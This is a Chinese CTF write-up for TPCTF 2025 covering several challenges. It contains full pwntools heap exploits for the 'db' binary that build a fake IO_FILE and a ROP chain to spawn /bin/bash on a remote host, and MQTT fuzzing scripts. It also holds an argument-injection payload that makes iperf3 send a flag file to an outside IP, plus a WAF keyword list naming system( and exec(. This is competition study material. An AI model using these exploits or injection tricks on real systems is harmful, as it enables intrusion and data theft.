Featured image of post TPCTF 2025

TPCTF 2025

UKFC 2025 TPCTF Writeup

RE

WEB

Layout

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
app.post('/api/layout', (req, res) => {  
  // 定义 /api/layout 路由,用于创建布局  
  const { layout } = req.body; // 从请求体中获取 layout  
  if (typeof layout !== 'string') return res.status(400).send('Invalid param'); // 如果 layout 不是字符串,返回 400 错误  
  if (layout.length > LENGTH_LIMIT) return res.status(400).send('Layout too large'); // 如果布局长度超过限制,返回 400 错误  

  const sanitizedLayout = DOMPurify.sanitize(layout); // 使用 DOMPurify 对布局进行 sanitization,防止 XSS 攻击  

  const id = req.session.layouts.length; // 获取布局的 id,即 layouts 的长度  
  req.session.layouts.push(sanitizedLayout); //  sanitization 后的布局添加到 layouts   
  return res.json({ id }); // 返回布局的 id  
});

能提交自定义模板,但使用 DOMPurify.sanitize 来清理

1
2
在 /api/post 中使用来触发xss
"dompurify": "3.2.4",

supersqli

入口一个欢迎,定位到/blog/src/views.py 下,重点代码在于

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def flag(request:HttpRequest):
    if request.method != 'POST':
        return HttpResponse('Welcome to TPCTF 2025')
    username = request.POST.get('username')
    if username != 'admin':
        return HttpResponse('you are not admin.')
    password = request.POST.get('password')
    users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))
    try:
        assert password == users[0].password
        return HttpResponse(os.environ.get('FLAG'))
    except:
        return HttpResponse('wrong password')

main.go 中显示 sqlmap,nmap,curl 都 ban 了

过滤关键字有

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
union.*select
select.*from
insert.*into
update.*set
delete.*from
drop\s+table
-- (注释)
## (注释)
\*\/ (多行注释结束)
\/\* (多行注释开始)
os(
exec(
system(
eval(
passthru(
shell_exec(
phpinfo(
popen(
proc_open(
pcntl_exec(
assert(
select

无回显,逻辑给的只能通过获取正确的密码来触发,从而读取在环境变量中的 flag

只有时间盲注一条路

PWN

db | Solved

tablepaget::getfreespacesize 返回 0x401,只能插入最多 0x3fd 长度的 content

能泄露地址,缺调用点

能溢出,并且泄露地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x , y : io.sendafter(x , y)
sla = lambda x , y : io.sendlineafter(x , y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda x : io.recvline(x)
inter = lambda : io.interactive()

#dbg()

def cmd(idx):
    sla( b'>>> ',str(idx))

def create_page(idx):
    cmd(1)
    sla(b'Index: ',str(idx))

def remove_page(idx):
    cmd(2)
    sla(b'Index: ',str(idx))

def insert_record(idx,length,cont):
    cmd(3)
    sla(b'Index: ',str(idx))
    sla(b'Varchar Length: ',str(length))
    sla(b'Varchar: ',cont)
    ru(b'id: ')
    slot_id = int(ru(b'\n')[:-1])
    return slot_id

def get_record(idx,slot_id):
    cmd(4)
    sla(b'Index: ',str(idx))
    sla(b'Slot ID: ',str(slot_id))

def edit_record(idx,slot_id,length,cont):
    cmd(5)
    sla(b'Index: ',str(idx))
    sla(b'Slot ID: ',str(slot_id))
    sla(b'Varchar Length: ',str(length))
    sla(b'Varchar: ',cont)

create_page(0)
insert_record(0,0x401-4,b'a'*(0x401-4)) #修改size
get_record(0,0)

edit_record(0,0,0x600,b'b'*0x600)
io.interactive()
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def cho(n):
    io.sendlineafter('>>>', str(n).encode())

def add(i):
    cho(1)
    io.sendlineafter('Index:', str(i).encode())

def rm(i):
    cho(2)
    io.sendlineafter('Index:', str(i).encode())

def ins(i,l,c):
    cho(3)
    io.sendlineafter('Index:', str(i).encode())
    io.sendlineafter('Length:', str(l).encode())
    io.sendafter('Varchar', c)

def show(i,s):
    cho(4)
    io.sendlineafter('Index:', str(i).encode())
    io.sendlineafter('Slot', str(s).encode())

def edit(i,s,l,c):
    cho(5)
    io.sendlineafter('Index:', str(i).encode())
    io.sendlineafter('Slot:', str(s).encode())
    io.sendlineafter('Length:', str(l).encode())
    io.sendafter('Varchar', c)

add(0)
add(1)
add(2)
ins(2,0x10,'A'*0x10)
ins(1,0x10,'B'*0x10)
ins(0,0x3fd,'C'*0x3fd)

利用链
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
def cmd(idx):
    sla( b'>>> ',str(idx))

def create_page(idx):
    cmd(1)
    sla(b'Index: ',str(idx))

def remove_page(idx):
    cmd(2)
    sla(b'Index: ',str(idx))

def insert_record(idx,length,cont):
    cmd(3)
    sla(b'Index: ',str(idx))
    sla(b'Varchar Length: ',str(length))
    sla(b'Varchar: ',cont)
    ru(b'id: ')
    slot_id = int(ru(b'\n')[:-1])
    return slot_id

def get_record(idx,slot_id):
    cmd(4)
    sla(b'Index: ',str(idx))
    sla(b'Slot ID: ',str(slot_id))

def edit_record(idx,slot_id,length,cont):
    cmd(5)
    sla(b'Index: ',str(idx))
    sla(b'Slot ID: ',str(slot_id))
    sla(b'Varchar Length: ',str(length))
    sla(b'Varchar: ',cont)

create_page(0)
create_page(1)
create_page(2)

insert_record(2,0x3fd,b'a'*0x3fd)
insert_record(1,0x3fd,b'a'*0x3fd)
insert_record(0,0x3fd,b'\x07'*0x3fd)
get_record(0,0) #修改size
ru(b'Varchar: ')
r(0x40d)
heap_base = u64(r(6).ljust(8,b'\x00')) - 0x12320
print("heap_base",hex(heap_base))  
     
print(hex(heap_base))  

create_page(3)
create_page(4)
create_page(5)

create_page(6)
create_page(7)
create_page(8)
create_page(9)
create_page(10)
create_page(11)

for i in range(9):
    remove_page(3+i)
create_page(10)
insert_record(10,0x3fd,b'\x07'*0x3fd)
get_record(10,0)

ru(b'Varchar: ')
r(0x40d+0x8*6)
libc_base = u64(r(6).ljust(8,b'\x00'))-0x21ace0
print("libc_base",hex(libc_base))  
print("libc_base",hex(libc_base)) 

tcache_key = (heap_base>>12)
IO_list_all = libc_base + libc.sym["_IO_list_all"]
IO_str_jumps = libc_base + libc.sym["_IO_file_jumps"]

for i in range(6):
    create_page(3+i)
create_page(11)

remove_page(10)
remove_page(1)
remove_page(11)

payload = b'\x07'*0x405+p64(0x30)+p64(((heap_base+0x12000)>>12)^(heap_base+0x14970))+p64(heap_base+0x12323)*2+p64(heap_base+0x12320)*2+p64(0x411)+p64(((heap_base+0x12320)>>12)^(IO_list_all))
print("tcache_key^IO_list_all====>",hex(tcache_key^IO_list_all))
edit_record(0,0,0x405+0x40,payload)

create_page(12)
create_page(13)

create_page(14)

IO_list_all = libc_base + libc.sym["_IO_list_all"]
system = libc_base + libc.sym["system"]

fake_IO_addr = heap_base+0xad0
setcontext_addr = libc_base + libc.sym['setcontext'] + 61

pop_rax = libc_base + 0x45eb0
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_r12 = libc_base + 0x11f497
syscall = libc_base + 0x91396
retn = pop_rdi + 1

wfile = libc_base + libc.sym['_IO_wfile_jumps']
lea_ret = libc_base + 0x00000000000562ec

lock = libc_base + 0x21ba60

magic_gadget = libc_base + 0x16a1e0 + 0x1a
orw_addr=heap_base + 0xd08

#_IO_list_all
pl=p64(0)+p64(lea_ret)+p64(0)+p64(IO_list_all-0x20)
pl+=p64(0)*3 #2e0
pl+=p64(0)#p64(orw_addr) #chunk0 + 0xe0 + 0xe8 + 0x70 -- _IO_save_base
pl+=p64(0)*7
pl+=p64(lock) #_lock
pl+=p64(0)*2
pl+=p64(fake_IO_addr + 0xe0) #370: chunk0+0xe0 -- _IO_wide_data
pl+=p64(0)*6
pl+=p64(wfile)

#_IO_wide_data
pl+=p64(0)*0x1c
pl+=p64(fake_IO_addr + 0xe0 + 0xe8) #_IO_jump_t

#_IO_jump_t
pl+=p64(0)*0xd
pl+=p64(system)
#insert_record(12,0x3fd,pl)
edit_record(14,0,0x400,p64(heap_base+0x149a3)*0x10)
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
#!/usr/bin/env python

'''
    author: Lufiende
    time: 2025-03-08 09:21:16
'''

from pwn import *
from LibcSearcher import *
import ctypes

filename = "db_patched"
libcname = "/home/lufiende/Tools/CTF/Pwn/Glibc/pkgs/2.35-0ubuntu3.8/amd64/libc6_2.35-0ubuntu3.8_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "61.147.171.105"
port = 56347
filearch = 'amd64'
isAttach = 0
context.log_level = 'debug'
context.os = 'linux'
context.arch = filearch
context.terminal = ["/mnt/c/Windows/System32/cmd.exe", '/c', 'start', 'wsl.exe']

elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)

gdbscript = '''
b main
set debug-file-directory /home/lufiende/Tools/CTF/Pwn/Glibc/pkgs/2.35-0ubuntu3.8/amd64/libc6-dbg_2.35-0ubuntu3.8_amd64/usr/lib/debug
set directories /home/lufiende/Tools/CTF/Pwn/Glibc/pkgs/2.35-0ubuntu3.8/amd64/glibc-source_2.35-0ubuntu3.8_all/usr/src/glibc/glibc-2.35

b *$rebase(0x1a33)
'''

processarg = {'LD_PRELOAD': '/home/lufiende/Tools/CTF/Pwn/Glibc/gcc/gcc-12-glibc2.35-ubuntu22-amd64/usr/lib/x86_64-linux-gnu/libstdc++.so.6:/home/lufiende/Tools/CTF/Pwn/Glibc/pkgs/2.35-0ubuntu3.8/amd64/libc6_2.35-0ubuntu3.8_amd64/lib/x86_64-linux-gnu/libm.so.6'}

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gdbscript, env=processarg)
    elif args.REMOTE:
        return remote(host, port)
    elif args.ATTACH:
        global isAttach
        isAttach = 1
        return process(elf.path, env=processarg)
    else:
        return process(elf.path, env=processarg)

def dbg():
    if isAttach:
        gdb.attach(io, gdbscript = gdbscript)
      
io = start()

############################################

## def cho(n):
##     io.sendlineafter('>>>', str(n).encode())

## def add(i):
##     cho(1)
##     io.sendlineafter('Index:', str(i).encode())

## def rm(i):
##     cho(2)
##     io.sendlineafter('Index:', str(i).encode())

## def ins(i,l,c):
##     cho(3)
##     io.sendlineafter('Index:', str(i).encode())
##     io.sendlineafter('Length:', str(l).encode())
##     io.sendafter('Varchar', c)

## def show(i,s):
##     cho(4)
##     io.sendlineafter('Index:', str(i).encode())
##     io.sendlineafter('Slot', str(s).encode())

## def edit(i,s,l,c):
##     cho(5)
##     io.sendlineafter('Index:', str(i).encode())
##     io.sendlineafter('Slot', str(s).encode())
##     io.sendlineafter('Length:', str(l).encode())
##     io.sendafter('Varchar', c)

## add(0)
## add(1)
## ins(1,0x10,'B'*0x10)
## ins(0,0x3fd,'\x20'*0x3fd)

## add(3)
## add(4)
## add(5)
## add(6)
## add(7)
## add(8)
## add(9)
## add(10)
## add(11)
## rm(4)
## rm(5)
## rm(6)
## rm(7)
## rm(8)
## rm(9)
## rm(10)
## rm(3)

## show(0,0)
## io.recvuntil('Varchar: ')
## io.recv(0x40d)
## heap_addr = u64(io.recv(6).ljust(8,b'\x00')) - (0x5c456da19320 - 0x5c456da07000)
## print(hex(heap_addr))

## io.recvuntil('BBBBBBBB')
## io.recv(88)
## libc_addr = u64(io.recv(6).ljust(8,b'\x00')) - (0x7675ab41ace0 - 0x7675ab200000)
## print(hex(libc_addr))

## iolistall_addr = 0x709ffda1b680 - 0x709ffd800000 + libc_addr - 3
## print(hex(iolistall_addr))
## remp = (0x5dcf01fa7be0 - 0x5dcf01f95000 + heap_addr) >> 12
## target_addr = (iolistall_addr) ^ ((0x61d6774bace0 + heap_addr - 0x61d6774a7000) >> 12)
## payload = b'\xff' * (0x3fd + 8) + p64(0x31) + p64(0) * 5 + p64(0x411) + b'\xff' * 0x408 + p64(0x21) + p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x441) + b'\x00' * 0x438 + p64(0x31) + p64(0) + p64(0) * 4 + p64(0x411) + p64(remp) + b'\x00' * 0x400
## payload += p64(0x31) + p64(target_addr) + p64(0) * 4 
## edit(0,0,len(payload),payload)

## add(4)
## add(5)
## add(6)
## add(7)
## add(8)
## add(9)

def cmd(idx):
    io.sendlineafter( b'>>> ',str(idx))

def create_page(idx):
    cmd(1)
    io.sendlineafter(b'Index: ',str(idx))

def remove_page(idx):
    cmd(2)
    io.sendlineafter(b'Index: ',str(idx))

def insert_record(idx,length,cont):
    cmd(3)
    io.sendlineafter(b'Index: ',str(idx))
    io.sendlineafter(b'Varchar Length: ',str(length))
    io.sendlineafter(b'Varchar: ',cont)
    io.recvuntil(b'id: ')
    slot_id = int(io.recvuntil(b'\n')[:-1])
    return slot_id

def get_record(idx,slot_id):
    cmd(4)
    io.sendlineafter(b'Index: ',str(idx))
    io.sendlineafter(b'Slot ID: ',str(slot_id))

def edit_record(idx,slot_id,length,cont):
    cmd(5)
    io.sendlineafter(b'Index: ',str(idx))
    io.sendlineafter(b'Slot ID: ',str(slot_id))
    io.sendlineafter(b'Varchar Length: ',str(length))
    io.sendlineafter(b'Varchar: ',cont)

create_page(0)
create_page(1)
create_page(2)

insert_record(2,0x3fd,b'a'*0x3fd)
insert_record(1,0x3fd,b'a'*0x3fd)
insert_record(0,0x3fd,b'\x07'*0x3fd)
get_record(0,0) #修改size
io.recvuntil(b'Varchar: ')
io.recv(0x40d)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x12320
print("heap_base",hex(heap_base))  
     
print(hex(heap_base))  

create_page(3)
create_page(4)
create_page(5)

create_page(6)
create_page(7)
create_page(8)
create_page(9)
create_page(10)
create_page(11)

for i in range(9):
    remove_page(3+i)
create_page(10)
insert_record(10,0x3fd,b'\x07'*0x3fd)
get_record(10,0)

io.recvuntil(b'Varchar: ')
io.recv(0x40d+0x8*6)
libc_base = u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
print("libc_base",hex(libc_base))  
print("libc_base",hex(libc_base)) 

tcache_key = (heap_base>>12)
IO_list_all = libc_base + libc.sym["_IO_list_all"] - 0x390
IO_str_jumps = libc_base + libc.sym["_IO_file_jumps"]

for i in range(6):
    create_page(3+i)
create_page(11)

remove_page(10)
remove_page(1)
remove_page(11)

heap_addr = heap_base
libc_addr = libc_base

iolistall_addr =libc_addr + libc.sym['_IO_list_all']
iowfilejumps_addr = libc_addr + libc.sym['_IO_wfile_jumps']
fake_IO_addr = heap_addr + (0x567b306b0330 - 0x567b3069e000)
ropchain_addr = heap_addr + (0x567b306b04f8 - 0x567b3069e000)
widedata_addr = 0x567b306b0410 - 0x567b3069e000 + heap_addr
setcontext_addr = libc_addr + libc.sym['setcontext']
system_addr = libc_addr + libc.sym['system']
pop_rax = libc_addr + 0x45eb0
pop_rdi = libc_addr + 0x2a3e5
pop_rsi = libc_addr + 0x2be51
pop_rdx_r12 = libc_addr + 0x11f2e7
syscall = libc_addr + 0x91316
retn = pop_rdi + 1
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr + libc.sym['write']
close_addr = libc_addr + libc.sym['close']

orw = flat([pop_rdi,ropchain_addr,pop_rsi,0,pop_rdx_r12,0,0,pop_rax,2,syscall])
orw += flat([pop_rdi,3,pop_rsi,fake_IO_addr,pop_rdx_r12,0x50,0,read_addr])
orw += flat([pop_rdi,1,write_addr])

## ropchain = b'flag\x00\x00\x00\x00'
## ropchain += p64(0)
## ropchain += p64(0)
## ropchain += p64(setcontext_addr + 61)
## ropchain = ropchain.ljust(0xa0,b'\x00')
## ropchain += p64(ropchain_addr + 0xb0)
## ropchain += p64(retn)
## ropchain += orw

ropchain = b'/bin/bash\x00\x00\x00\x00\x00\x00\x00'
ropchain += p64(0)
ropchain += p64(setcontext_addr + 61)
ropchain = ropchain.ljust(0xa0,b'\x00')
ropchain += p64(ropchain_addr + 0xb0)
ropchain += p64(retn)
ropchain += flat([pop_rax,0x3b,pop_rdi,ropchain_addr,syscall])

wide_data = p64(0)
wide_data += p64(0) 
wide_data += p64(0) 
wide_data += p64(0x114514)
wide_data += p64(ropchain_addr)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(0)
wide_data += p64(ropchain_addr)

fake_IO_FILE = p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) 
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base)  ## _lock = writable address = 0
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(widedata_addr) ## widedata
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p32(1)
fake_IO_FILE += p32(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(iowfilejumps_addr + 0x30)  ## vtable= IO_wfile_jumps + 0x10 / 0s30

payload = b'\xff'*0x405+p64(0x30)+p64(((heap_base+0x12000)>>12)^(heap_base+0x14970))+p64(heap_base+0x12323)*2+p64(heap_base+0x12320)*2+p64(0x411)+p64(((heap_base+0x12320)>>12)^(IO_list_all)) + p64(0) + fake_IO_FILE + wide_data + ropchain
print("tcache_key^IO_list_all====>",hex(tcache_key^IO_list_all))

edit_record(0,0,len(payload),payload)

create_page(12)
create_page(13)
create_page(14)

insert_record(14,112,p64(fake_IO_addr) * 14)

############################################

io.interactive()

smart door lock | open

mqtt

https://wokough.gitbook.io/iot-firmware-aio/wiki/lou-dong-wa-jue-wu-xian-xie-yi

https://github.com/akamai-threat-research/mqtt-pwn

1
2
3
4
5
6
1. mosquittoMQTT 代理服务器
mosquitto 是一个开源的 MQTT 代理(Broker),它负责处理客户端之间的消息传递。mosquitto 通过 MQTT 协议来协调设备之间的通信。客户端可以订阅主题、发布消息,mosquitto 会根据消息的主题将其传递到对应的客户端。
/usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf 启动了一个 MQTT 代理服务器,并加载了配置文件 /etc/mosquitto/mosquitto.conf。在配置文件中,可以配置代理的各项参数,如监听端口、认证机制、日志、持久化等。
2. mqtt_lock:可能的设备或资源锁定程序(port 8883)
mqtt_lock 可能是一个程序,用于通过 MQTT 协议对设备或资源进行控制和锁定。它可能与 mosquitto 通信,订阅或发布特定的消息来执行锁定、解锁或其他控制操作。
例如,mqtt_lock 可能会监听特定的主题(如 device/lock)来接收锁定请求,或者它可以发布状态更新到主题(如 device/status),通知其他系统设备当前的锁定状态。

主要分析 usr/sbin/mqtt_lock

调试

1
2
3
4
5
6
7
qemu-system-arm -m 512 -M virt,highmem=off \
    -kernel zImage \
        -initrd rootfs.cpio \
    -net nic \
    -net user,hostfwd=tcp::8883-:8883,hostfwd=tcp::1234-:1234 \
    -nographic \
    -monitor null

这里面的函数表像是加了反调试

主要逻辑在 sub_12584

但感觉没啥屌用,只能连接上也没回显

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import paho.mqtt.client as mqtt
import ssl
import time

## 配置
broker = "127.0.0.1"
port = 8883
ca_cert = "./rootfs/etc/mosquitto/certs/ca.crt"
client_id = "pwnclient"
subscribe_topic = "lock/status"
publish_topic = "lock/control"
publish_message = "unlock"

## 回调函数:当连接到 EMQX 时调用
def on_connect(client, userdata, flags, rc):
    if rc == 0:
        print("[+] Connected to EMQX successfully")
        ## 订阅主题
        client.subscribe(subscribe_topic, qos=0)
        print(f"[+] Subscribed to topic: {subscribe_topic}")
    else:
        print(f"[-] Connection failed with code: {rc}")

## 回调函数:当接收到消息时调用
def on_message(client, userdata, msg):
    print(f"[+] Received message: {msg.payload.decode()} on topic {msg.topic}")

## 创建 MQTT 客户端
client = mqtt.Client(client_id=client_id)

## 设置回调函数
client.on_connect = on_connect
client.on_message = on_message

## 配置 TLS
client.tls_set(ca_certs=ca_cert, cert_reqs=ssl.CERT_REQUIRED, tls_version=ssl.PROTOCOL_TLSv1_2)
## 禁用主机名验证(解决 IP mismatch 问题)
client.tls_insecure_set(True)

## 如果需要用户名/密码(视 EMQX 配置)
## client.username_pw_set("username", "password")

## 连接到 EMQX
try:
    client.connect(broker, port, keepalive=60)
except Exception as e:
    print(f"[-] Failed to connect: {e}")
    exit(1)

## 启动网络循环(处理消息)
client.loop_start()

## 发布消息
print(f"[+] Publishing message '{publish_message}' to topic '{publish_topic}'")
client.publish(publish_topic, publish_message, qos=0)

## 保持运行,等待消息
try:
    time.sleep(10)  ## 等待 10 秒,观察是否有消息返回
except KeyboardInterrupt:
    print("[+] Stopping...")
finally:
    client.loop_stop()
    client.disconnect()

https://mqttx.app/

mqttx 连接

然后点连接

添加订阅

发送就是把 testtopic 写到输入上方,然后直接发送。但是远程会多一个 $SYS 的订阅,会一直给我发信息

这里有添加指纹

看这个

https://grok.com/share/bGVnYWN5_3aeb72c9-8f6e-4ae3-b86b-a718c2b62db7

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import paho.mqtt.client as mqtt
import ssl
import time
import os

## 配置
broker = "127.0.0.1"  ## 如果是远程挑战,替换为题目提供的 IP
port = 8883
ca_cert = "/home/sekiro/pwnTest/tpctf/attachment/rootfs/etc/mosquitto/certs/ca.crt"
client_id = "pwnclient"
subscribe_topic = "#"  ## 订阅所有主题

## 可能的主题(基于题目线索)
publish_topics = [
    "lock/control", "control", "command", "mqtt_lock/control",
    "fingerprint", "lock/fingerprint", "auth", "unlock", "door/unlock"
]

## 可能的消息(结合“指纹”线索)
publish_messages = [
    "unlock", "lock", "open", "close", "status",
    "fingerprint", "owner_fingerprint", "admin", "123456",  ## 模拟指纹或认证
    "A" * 100, "A" * 1000, "%n%n%n%n"  ## 测试溢出或格式化字符串
]

## 调试路径
print(f"Current working directory: {os.getcwd()}")
print(f"Trying to load CA cert from: {ca_cert}")
if not os.path.exists(ca_cert):
    print(f"[-] File does not exist: {ca_cert}")
    exit(1)

## 回调函数:连接时
def on_connect(client, userdata, flags, rc, properties=None):
    if rc == 0:
        print("[+] Connected to mqtt_lock successfully")
        client.subscribe(subscribe_topic, qos=0)
        print(f"[+] Subscribed to topic: {subscribe_topic}")
    else: 
        print(f"[-] Connection failed with code: {rc}")

## 回调函数:接收消息时
def on_message(client, userdata, msg, properties=None):
    print(f"[+] Received message: {msg.payload.decode(errors='ignore')} on topic {msg.topic}")

## 创建客户端
client = mqtt.Client(client_id=client_id, callback_api_version=mqtt.CallbackAPIVersion.VERSION2)
client.on_connect = on_connect
client.on_message = on_message

## 配置 TLS
client.tls_set(ca_certs=ca_cert, cert_reqs=ssl.CERT_REQUIRED, tls_version=ssl.PROTOCOL_TLSv1_2)
client.tls_insecure_set(True)  ## 禁用主机名验证

## 连接
try:
    client.connect(broker, port, keepalive=60)
except Exception as e:
    print(f"[-] Failed to connect: {e}")
    exit(1)

## 启动网络循环
client.loop_start()

## 尝试发布消息
for topic in publish_topics:
    for message in publish_messages:
        print(f"[+] Publishing '{message[:20]}...' to topic '{topic}'")
        client.publish(topic, message, qos=0)
        time.sleep(1)  ## 等待响应

## 保持运行
try:
    time.sleep(60)  ## 延长等待时间
except KeyboardInterrupt:
    print("[+] Stopping...")
finally:
    client.loop_stop()
    client.disconnect()

/usr/sbin/mosquitto 会被这个脚本卡住,得想办法到 lock 里

1
2
3
4
cd /
chmod +x gdbserver-7.10.1-arm6v
./gdbserver-7.10.1-arm6v :1234 --attach 52 &
./gdbserver-7.10.1-arm6v :1234 --attach 64 &

调参数吧?

mosquitto 能找到$SYS的订阅,还有一个$CONTROL/

当我想添加 $share 订阅的时候我的我的服务就会崩溃,但是我还不清楚为什么

mattx 是以 json 格式发送,然后在 ida 里也能看到 json parse error,

远程调试时会自动连续订阅三个主题

然后 ida 直接搜索字符串,然后下断点调试

用于多方交互

https://www.cnblogs.com/Mickey-7/p/17402095.html#loop_start–loop_stop

当指纹正确之后会返回 session_id

这里应该就是 uaf

这是申请的堆块的 0x5c 的堆块,会接受输入的内容

chunk1

这种都回显一样根本没区别,爆啥了,都没回显

where is my rop | open

1
docker run -it   -p 80:80 -p 1234:1234 --name tpctfchall tpctf /bin/bash

我下面这个还有点问题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "-d", ".", "wsl.exe", "-d", "Ubuntu", "bash", "-c"]

## 原始字符串
data = "admin:1234"

## 编码为 Base64
a = base64.b64encode(data.encode()).decode()
## 设置环境变量
env_vars = {
    "QUERY_STRING": "register",
    "REQUEST_METHOD": "POST",
  
    "HTTP_AUTHORIZATION": f'"Basic {a}"',
    "CONTENT_LENGTH":'"27"',
  
}

## 启动进程

## 让 GDB 从 start 开始运行
p=gdb.debug("./login.cgi", env=env_vars)
#b *$rebase(0x00000000000012A0) 
#p=process('./login.cgi',env=env_vars)

p.send(b'id='+b"a"*0x18)
p.interactive()

非特权模式 qemu 调试

1
2
3
su -s /bin/bash www-data -c "gdbserver :1234 --attach 148" #docker shell

set *0x55f5c77ab2a0=0xfa1e0ff3 #gdb

脚本

有没有可能有堆溢出什么的?我也不大清楚

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
import base64

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "-d", ".", "wsl.exe", "-d", "Ubuntu", "bash", "-c"]

if 1:
    target_ip='172.18.231.176'#'223.112.5.141'#62180#'61.147.171.106:60944'
    p=remote('172.18.231.176',80)
else:
    target_ip='223.112.5.141'#'223.112.5.141'#62180#'61.147.171.106:60944'
    p=remote('223.112.5.141',62180)  
## 编码为 Base64##        ../../../../../another_name_of_flag_9467352101
data = "8.130.10.64:9999  -l 0x100 -F  ../../another_name_of_flag_9467352101 -R  #:orginpassword:"+'\x00'*(0xa0+200)+'\x09'*0xc0
#iperf3 -c 192.168.1.1 -p 80&& cat /1.sh#
data_bytes = data.encode("utf-8")  ## 将字符串编码为字节
